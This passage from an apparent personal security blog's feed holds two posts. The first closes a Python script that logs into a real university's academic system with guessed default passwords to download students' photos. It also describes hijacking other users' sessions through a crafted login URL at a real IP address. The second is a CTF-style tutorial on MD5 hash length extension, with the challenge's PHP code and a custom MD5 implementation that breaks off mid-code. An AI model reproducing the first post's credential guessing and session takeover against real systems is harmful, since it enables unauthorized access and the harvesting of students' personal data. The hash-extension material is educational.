class="number">2</span>:</span><br><span class="line">gread = input(<span class="string">' 年级:'</span>)</span><br><span class="line">zhuanye = input(<span class="string">'专业代码:'</span>)</span><br><span class="line">ClassID = input(<span class="string">'班级序号:'</span>)</span><br><span class="line">ids = getid_0(gread,zhuanye,ClassID)</span><br><span class="line"><span class="keyword">elif</span> way == <span class="number">3</span>:</span><br><span class="line">gread = input(<span class="string">'年级:'</span>)</span><br><span class="line">ids = getid_1(gread)</span><br><span class="line"><span class="keyword">return</span> ids</span><br><span class="line"></span><br><span class="line">ids = find(int(input(<span class="string">'查询方式:'</span>)))</span><br><span class="line">len = len(ids)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,len):</span><br><span class="line">id=ids[i][<span class="number">0</span>]</span><br><span class="line">xiaomin = student(id)</span><br><span class="line">ClassID= ids[i][<span class="number">1</span>]</span><br><span class="line">zhuanye=ids[i][<span class="number">2</span>]</span><br><span class="line">gread=ids[i][<span class="number">3</span>]</span><br><span class="line">path = <span class="string">"./"</span>+str(gread)+<span class="string">"/"</span>+str(zhuanye)+<span class="string">"/"</span>+str(ClassID)</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">not</span> os.path.exists(path)):</span><br><span class="line">os.makedirs(path)</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">not</span> os.path.exists(path+<span class="string">"/"</span>+id+<span class="string">".jpg"</span>)):</span><br><span class="line">login(xiaomin,path)</span><br></pre></td></tr></table></figure><h1 id="思考"><a href="#思考" class="headerlink" title="思考"></a>思考</h1><h3 id="1-登录时验证方式简单,造成csrf"><a href="#1-登录时验证方式简单,造成csrf" class="headerlink" title="1.登录时验证方式简单,造成csrf"></a>1.登录时验证方式简单,造成csrf</h3><p>仔细推敲一下他的逻辑,在认证平台只是通过OSid来识别用户,如果我拿带有我的cookie获得的OSid的url去诱骗其他用户点击,或者只需要用户认证平台的会话处于已经认证的状态,只需要打开我构造好的url即可实现</p><p>实现过程:</p><p>1.a用户(攻击者)新建个网页打开教务处点击登录,抓包找到这么一个请求<code>http://210.41.224.117/Login/qqLogin.asp?Oid=jxgl%2Ecuit%2Eedu%2Ecn&OSid=594722713</code></p><p>2.换个浏览器模拟b用户(受害者),打开刚刚那个获取的url,点击登录,如果第二个用户本身已经登陆过的话,只需要打开这个链接即可<img src="\images\QQ截图20161210055827.jpg" alt="QQ截图20161210055827"></p><p>3.a用户这时候重新点登录,发现已经成功登陆,这里头像没有加载出来的原因是头像都是来自于认证平台,而我们只是获得了教务处的信任</p><p><img src="\images\QQ截图20161210060534.jpg" alt="QQ截图20161210060534"></p><h3 id="2-要记得修改容易被猜出来的密码"><a href="#2-要记得修改容易被猜出来的密码" class="headerlink" title="2.要记得修改容易被猜出来的密码"></a>2.要记得修改容易被猜出来的密码</h3><p>哈哈不可多言,16级有百分之八九十都没改,15级至少也有百分之六七十了</p><h4 id="python学习中遇到的一些问题:"><a href="#python学习中遇到的一些问题:" class="headerlink" title="python学习中遇到的一些问题:"></a>python学习中遇到的一些问题:</h4><p>1.验证码:使用的pytesseract模块,识别率不高,平均十五个识别出一个</p><p>2.汉字转为汉语拼音,构造密码的时候遇到的,找的网上的一段算法</p><p>3.主要是把登录逻辑搞清楚,一切都好解决</p><h3 id="相关链接:"><a href="#相关链接:" class="headerlink" title="相关链接:"></a>相关链接:</h3><p>sso单点认证:</p><p><a href="http://blog.csdn.net/lishehe/article/details/40196353" target="_blank" rel="noopener">http://blog.csdn.net/lishehe/article/details/40196353</a></p><p><a href="http://dev.cmcm.com/archives/238" target="_blank" rel="noopener">http://dev.cmcm.com/archives/238</a></p><p>oauth:</p><p><a href="http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html" target="_blank" rel="noopener">http://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html</a></p><p>Requests 库的高级用法:</p><p><a href="http://docs.python-requests.org/zh_CN/latest/user/advanced.html" target="_blank" rel="noopener">http://docs.python-requests.org/zh_CN/latest/user/advanced.html</a></p>]]></content>
<summary type="html">
<p>最近学习Python,感觉从头学比较枯燥,刚好找到一份资料,可以组合出教务处的默认口令,就打算试试爬一下他们的教务处的头像。<br>
</summary>
<category term="Python" scheme="http://blog.leej.me/tags/Python/"/>
<category term="爬虫" scheme="http://blog.leej.me/tags/%E7%88%AC%E8%99%AB/"/>
<category term="csrf" scheme="http://blog.leej.me/tags/csrf/"/>
</entry>
<entry>
<title>Hash长度扩展攻击</title>
<link href="http://blog.leej.me/2017/01/19/Hash%E9%95%BF%E5%BA%A6%E6%89%A9%E5%B1%95%E6%94%BB%E5%87%BB/"/>
<id>http://blog.leej.me/2017/01/19/Hash长度扩展攻击/</id>
<published>2017-01-18T19:22:18.000Z</published>
<updated>2018-02-07T04:11:15.560Z</updated>
<content type="html"><![CDATA[<p>Hash长度扩展攻击,是一个比较有意思的攻击方式,服务端给一段明文加盐后hash,可以利用已知HASH值来预测特定字符串的Hash值。<br><a id="more"></a></p><h1 id="Hash长度扩展攻击"><a href="#Hash长度扩展攻击" class="headerlink" title="Hash长度扩展攻击"></a>Hash长度扩展攻击</h1><h4 id="引子"><a href="#引子" class="headerlink" title="引子"></a>引子</h4><p>无意中碰到一道题,大概代码是这样的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">$flag = "XXXXXXXXXXXXXXXXXXXXXXX";</span><br><span class="line">$secret = "XXXXXXXXXXXXXXX"; // This secret is 15 characters long for security!</span><br><span class="line"></span><br><span class="line">$username = $_POST["username"];</span><br><span class="line">$password = $_POST["password"];</span><br><span class="line"></span><br><span class="line">if (!empty($_COOKIE["getmein"])) {</span><br><span class="line"> if (urldecode($username) === "admin" && urldecode($password) != "admin") {</span><br><span class="line"> if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password))) {</span><br><span class="line"> echo "Congratulations! You are a registered user.\n";</span><br><span class="line"> die ("The flag is ". $flag);</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> die ("Your cookies don't match up! STOP HACKING THIS SITE.");</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> else {</span><br><span class="line"> die ("You are not an admin! LEAVE.");</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">setcookie("sample-hash", md5($secret . urldecode("admin" . "admin")), time() + (60 * 60 * 24 * 7));</span><br><span class="line"></span><br><span class="line">if (empty($_COOKIE["source"])) {</span><br><span class="line"> setcookie("source", 0, time() + (60 * 60 * 24 * 7));</span><br><span class="line">}</span><br><span class="line">else {</span><br><span class="line"> if ($_COOKIE["source"] != 0) {</span><br><span class="line"> echo ""; // This source code is outputted here</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个核心的判断在第二个if的判断</p><p><code>if ($COOKIE["getmein"] === md5($secret . urldecode($username . $password)))</code></p><p>也就是需要构造getmein的cookie和他那串字符相同就可以,但是问题是这个$secret的变量我们根本不知道啊</p><p>网上找了些关于MD5的资料,发现MD5是存在Hash长度扩展攻击的</p><h4 id="MD5算法"><a href="#MD5算法" class="headerlink" title="MD5算法"></a>MD5算法</h4><p>MD5的算法具体比较复杂,不是一时半会可以看透的,但是从表面的一个加密过程来看就是类似下图<img src="\images\20140606204046187.jpg" alt="20140606204046187"></p><p>首先是对加密的字符串进行填充,使之(二进制)补到448模512同余,即长度为512的倍数减64,最后的64位在补充为原来字符串的长度,这样刚好补满512位的倍数,之后再将这512位分组,进行复杂的运算,具体过程不阐述。需要知道的就是进行MD5运算必须要是512的整数倍,不是整数倍会将其补全,还有一个重点是他的计算过程是512位进行一次运算,也就是如果消息长度小于512就只需要计算一次,大于512小于1024是计算两次,以此类推。</p><p>在MD5中有四个32位的被称作链接变量的整数参数,是如下设置(这个ABCD是初始的固定的值):</p><p>A=0x67452301,</p><p>B=0xefcdab89,</p><p>C=0x98badcfe,</p><p>D=0x10325476。</p><p>之后有四个非线性函数,将字符串和那四个链接变量经过一系列的复杂运算,算出一组新的A,B,C,D的值,如果消息小于512,也就是只需要计算一次,这时候将新的ABCD的值按ABCD的顺序级联,然后输出,就是MD5的值,如果消息大于512的话,就用第一次算的MD5的值进行后半部分的运算,以此类推。</p><h5 id="举个例子"><a href="#举个例子" class="headerlink" title="举个例子"></a>举个例子</h5><p>比如计算字符串“test”</p><p>十六进制<code>0x74657374</code></p><p>二进制<code>0b1110100011001010111001101110100</code></p><p>这里与448模512不同余,补位后的数据如下</p><p>十六进制</p><p><code>0x74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000</code></p><p>二进制</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0b1110100011001010111001101110100100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000</span><br></pre></td></tr></table></figure><p>将补位后的数据进行一次复杂的运算,计算出</p><p>A=0xcd6b8f09</p><p>B=0x73d32146</p><p>C=0x834edeca</p><p>D=0xf6b42726</p><p>数据小于512位,所以将ABCD通过小端规则转换就是MD5值:098f6bcd4621d373cade4e832627b4f6</p><p>如果我输入的数据不是test而是一串很长的字符,换算出来大于512小于1024,就需要计算两次,第一次先计算前512位的ABCD的值,算出来后再用这个ABCD去计算后面512位的的ABCD的值,最后算出来的ABCD经过拼接就是这串字符的MD5了</p><h4 id="问题来了"><a href="#问题来了" class="headerlink" title="问题来了"></a><strong>问题来了</strong></h4><p>如果这么一个情况,由两个字符串组成一个字符串(\$str=\$a+\$b),第一个字符串(\$a)我不知道也不可控,只可控第二个字符串(\$b),同时知道第一个字符串(\$a)的MD5值和长度,这时候我将第二个字符串精心构造一下,便可以算出合成的字符串\$str的MD5的值</p><h5 id="首先正向计算一遍"><a href="#首先正向计算一遍" class="headerlink" title="首先正向计算一遍"></a>首先正向计算一遍</h5><p>假如第一个字符串\$a=“test”,为了方便转为十六进制0x74657374</p><p>我构造第二个字符串首先手动将$str补成一个标准的可以直接计算的512位</p><p>\$str=0x74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000</p><p>这样子,这时候再在后面追加一个0x746573748</p><p>\$str=0x74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000746573748</p><p>这时候再将$str大于512位,程序会先将这串数据补为1024位,补充完如下</p><p>\$str=0x7465737480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000074657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000</p><p>这时将$str分为两部分</p><p>74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000</p><p>和</p><p>74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000</p><p>这时候程序计算前一部分的ABCD的值,由于和之前算的test的数值是相同的所以</p><p>A=0xcd6b8f09</p><p>B=0x73d32146</p><p>C=0x834edeca</p><p>D=0xf6b42726</p><p>到了第二部分,第二部分的计算是用的第一部分的ABCD去计算,计算新的ABCD如下</p><p>A=0x226359e5</p><p>b=0x99df12eb</p><p>C=0x6853f59e</p><p>D=0xf5406385</p><p>最后算出来的MD5是e5596322eb12df999ef55368856340f5</p><h5 id="这时候我们按照给定条件来计算一遍"><a href="#这时候我们按照给定条件来计算一遍" class="headerlink" title="这时候我们按照给定条件来计算一遍"></a>这时候我们按照给定条件来计算一遍</h5><p>我们知道的条件</p><p>1.$a的MD5(098f6bcd4621d373cade4e832627b4f6)</p><p>2.$a的长度=4</p><p>3.$b我们可以任意控制</p><p>由1我们可以逆推算出其ABCD的值</p><p>A=0xcd6b8f09</p><p>B=0x73d32146</p><p>C=0x834edeca</p><p>D=0xf6b42726</p><p>我们构造$b=’\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00’+’test’</p><p>此时$str如下,由于不知道\$a,我们假设\$a=”aaaa”</p><p>$str=’aaaa’+’\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00’+’test’</p><p>好了我们脑补一下程序计算str的过程</p><p>1.由于大于512位,先补全为1024位,</p><p>2.将其分为两部分</p><p>3.计算第一部分的ABCD的值</p><p>4.再用第一部分算出来的ABCD拿来算第二部分的值。</p><p>这里由于第一部分的ABCD我们可以逆推出来,我们可以直接跳过前三部分直接进行第四部分的计算,只需要将标准的MD5的源码里面的初始的ABCD的值改为逆推出来的那个值</p><p>我们用假的初始的ABCD计算一下</p><p>0x74657374800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002002000000000000</p><p>的MD5,发现是e5596322eb12df999ef55368856340f5,和上面正向计算出来的一样!</p><p>下面贴出来我用的算MD5的代码,以及测试文件</p><p>my_md5.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="comment"># @Author:DshtAnger</span></span><br><span class="line"><span class="comment"># theory reference:</span></span><br><span class="line"><span class="comment"># blog:</span></span><br><span class="line"><span class="comment"># http://blog.csdn.net/adidala/article/details/28677393</span></span><br><span class="line"><span class="comment"># http://blog.csdn.net/forgotaboutgirl/article/details/7258109</span></span><br><span class="line"><span class="comment"># http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html</span></span><br><span class="line"><span class="comment"># RFC1321:</span></span><br><span class="line"><span class="comment"># https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">genMsgLengthDescriptor</span><span class="params">(msg_bitsLenth)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> ---args:</span></span><br><span class="line"><span class="string"> msg_bitsLenth : the bits length of raw message</span></span><br><span class="line"><span class="string"> --return:</span></span><br><span class="line"><span class="string"> 16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> <span class="keyword">return</span> __import__(<span class="string">"struct"</span>).pack(<span class="string">">Q"</span>,msg_bitsLenth).encode(<span class="string">"hex"</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reverse_hex_8bytes</span><span class="params">(hex_str)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> --args:</span></span><br><span class="line"><span class="string"> hex_str: a hex-encoded string with length 16 , i.e.8bytes</span></span><br><span class="line"><span class="string"> --return:</span></span><br><span class="line"><span class="string"> transform raw message descriptor to little-endian</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> hex_str = <span class="string">"%016x"</span>%int(hex_str,<span class="number">16</span>)</span><br><span class="line"> <span class="keyword">assert</span> len(hex_str)==<span class="number">16</span></span><br><span class="line"> <span class="keyword">return</span> __import__(<span class="string">"struct"</span>).pack(<span class="string">"<Q"</span>,int(hex_str,<span class="number">16</span>)).encode(<span class="string">"hex"</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">reverse_hex_4bytes</span><span class="params">(hex_str)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> --args:</span></span><br><span class="line"><span class="string"> hex_str: a hex-encoded string with length 8 , i.e.4bytes</span></span><br><span class="line"><span class="string"> --return:</span></span><br><span class="line"><span class="string"> transform 4 bytes message block to little-endian</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> hex_str = <span class="string">"%08x"</span>%int(hex_str,<span class="number">16</span>)</span><br><span class="line"> <span class="keyword">assert</span> len(hex_str)==<span class="number">8</span></span><br><span class="line"> <span class="keyword">return</span> __import__(<span class="string">"struct"</span>).pack(<span class="string">"<L"</span>,int(hex_str,<span class="number">16</span>)).encode(<span class="string">"hex"</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">deal_rawInputMsg</span><span class="params">(input_msg)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> --args:</span></span><br><span class="line"><span class="string"> input_msg : inputed a ascii-encoded string</span></span><br><span class="line"><span class="string"> --return:</span></span><br><span class="line"><span class="string"> a hex-encoded string which can be inputed to mathematical transformation function.</span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> ascii_list = [x.encode(<span class="string">"hex"</span>) <span class="keyword">for</span> x <span class="keyword">in</span> input_msg]</span><br><span class="line"> length_msg_bytes = len(ascii_list)</span><br><span class="line"> length_msg_bits = len(ascii_list)*<span class="number">8</span></span><br><span class="line"> <span class="comment">#padding</span></span><br><span class="line"> ascii_list.append(<span class="string">'80'</span>)</span><br><span class="line"> <span class="keyword">while</span> (len(ascii_list)*<span class="number">8</span>+<span class="number">64</span>)%<span class="number">512</span> != <span class="number">0</span>:</span><br><span class="line"> ascii_list.append(<span class="string">'00'</span>)</span><br><span class="line"> <span class="comment">#add Descriptor</span></span><br><span class="line"> ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>.join(ascii_list)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getM16</span><span class="params">(hex_str,operatingBlockNum)</span>:</span></span><br><span class="line"> <span class="string">'''</span></span><br><span class="line"><span class="string"> --args:</span></span><br><span class="line"><span class="string"> hex_str : a hex-encoded string with length in integral multiple of 512bits</span></span><br><span class="line"><span class="string"> operatingBlockNum : message block number which is being operated , greater than 1</span></span><br><span class="line"><span class="string"> --return:</span></span><br><span class="line"><span class="string"> M : result of splited 64bytes into 4*16 message blocks with little-endian</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> '''</span></span><br><span class="line"> M = [int(reverse_hex_4bytes(hex_str[i:(i+<span class="number">8</span>)]),<span class="number">16</span>) <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">128</span>*(operatingBlockNum<span class="number">-1</span>),<span class="number">128</span>*operatingBlockNum,<span class="number">8</span>)]</span><br><span class="line"> <span class="keyword">return</span> M</span><br><span class="line"></span><br><span class="line"><span class="comment">#定义函数,用来产生常数T[i],常数有可能超过32位,同样需要&0xffffffff操作。注意返回的是十进制的数</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">T</span><span class="params">(i)</span>:</span></span><br><span class="line"> result = (int(<span class="number">4294967296</span>*abs(__import__(<span class="string">"math"</span>).sin(i))))&<span class="number">0xffffffff</span></span><br><span class="line"> <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line"><span class="comment">#定义每轮中用到的函数</span></span><br><span class="line"><span class="comment">#RL为循环左移,注意左移之后可能会超过32位,所以要和0xffffffff做与运算,确保结果为32位</span></span><br><span class="line">F = <span class="keyword">lambda</span> x,y,z:((x&y)|((~x)&z))</span><br><span class="line">G = <span class="keyword">lambda</span> x,y,z:((x&z)|(y&(~z)))</span><br><span class="line">H = <span class="keyword">lambda</span> x,y,z:(x^y^z)</span><br><span class="line">I = <span class="keyword">lambda</span> x,y,z:(y^(x|(~z)))</span><br><span class="line">RL = L = <span class="keyword">lambda</span> x,n:(((x<<n)|(x>>(<span class="number">32</span>-n)))&(<span class="number">0xffffffff</span>))</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">FF</span><span class="params">(a, b, c, d, x, s, ac)</span>:</span></span><br><span class="line"> a = (a+F ((b), (c), (d)) + (x) + (ac)&<span class="number">0xffffffff</span>)&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = RL ((a), (s))&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = (a+b)&<span class="number">0xffffffff</span></span><br><span class="line"> <span class="keyword">return</span> a</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">GG</span><span class="params">(a, b, c, d, x, s, ac)</span>:</span></span><br><span class="line"> a = (a+G ((b), (c), (d)) + (x) + (ac)&<span class="number">0xffffffff</span>)&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = RL ((a), (s))&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = (a+b)&<span class="number">0xffffffff</span></span><br><span class="line"> <span class="keyword">return</span> a</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">HH</span><span class="params">(a, b, c, d, x, s, ac)</span>:</span></span><br><span class="line"> a = (a+H ((b), (c), (d)) + (x) + (ac)&<span class="number">0xffffffff</span>)&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = RL ((a), (s))&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = (a+b)&<span class="number">0xffffffff</span></span><br><span class="line"> <span class="keyword">return</span> a</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">II</span><span class="params">(a, b, c, d, x, s, ac)</span>:</span></span><br><span class="line"> a = (a+I ((b), (c), (d)) + (x) + (ac)&<span class="number">0xffffffff</span>)&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = RL ((a), (s))&<span class="number">0xffffffff</span>;</span><br><span class="line"> a = (a+b)&<span class="number">0xffffffff</span></span><br><span class="line"> <span class="keyword">return</span> a</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show_md5</span><span class="params">(A,B,C,D)</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>.join( [ <span class="string">""</span>.join(__import__(<span class="string">"re"</span>).findall(<span class="string">r".."</span>,<span class="string">"%08x"</span>%i)[::<span class="number">-1</span>]) <span class="keyword">for</span> i <span class="keyword">in</span> (A,B,C,D) ] )</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">run_md5</span><span class="params">(A=<span class="number">0x67452301</span>,B=<span class="number">0xefcdab89</span>,C=<span class="number">0x98badcfe</span>,D=<span class="number">0x10325476</span>,readyMsg=<span class="string">""</span>)</span>:</span></span><br><span class="line"></span><br><span class="line"> a = A</span><br><span class="line"> b = B</span><br><span class="line"> c = C</span><br><span class="line"> d = D</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">0</span>,len(readyMsg)/<span class="number">128</span>):</span><br><span class="line"> M = getM16(readyMsg,i+<span class="number">1</span>)</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> xrange(<span class="number">16</span>):</span><br><span class="line"> <span class="keyword">exec</span> <span class="string">"M"</span>+str(i)+<span class="string">"=M["</span>+str(i)+<span class="string">"]"</span></span><br><span class="line"> <span class="comment">#First round</span></span><br><span class="line"> a=FF(a,b,c,d,M0,<span class="number">7</span>,<span class="number">0xd76aa478L</span>)</span><br><span class="line"> d=FF(d,a,b,c,M1,<span class="number">12</span>,<span class="number">0xe8c7b756L</span>)</span><br><span class="line"> c=FF(c,d,a,b,M2,<span class="number">17</span>,<span class="number">0x242070dbL</span>)</span><br><span class="line"> b=FF(b,c,d,a,M3,<span class="number">22</span>,<span class="number">0xc1bdceeeL</span>)</span><br><span class="line"> a=FF(a,b,c,d,M4,<span class="number">7</span>,<span class="number">0xf57c0fafL</span>)</span><br><span class="line"> d=FF(d,a,b,c,M5,<span class="number">12</span>,<span class="number">0x4787c62aL</span>)</span><br><span class="line"> c=FF(c,d,a,b,M6,<span class="number">17</span>,<span class="number">0xa8304613L</span>)</span><br><span class="line"> b=FF(b,c,d,a,M7,<span class="number">22</span>,<span class="number">0xfd469501L</span>)</span><br><span class="line"> 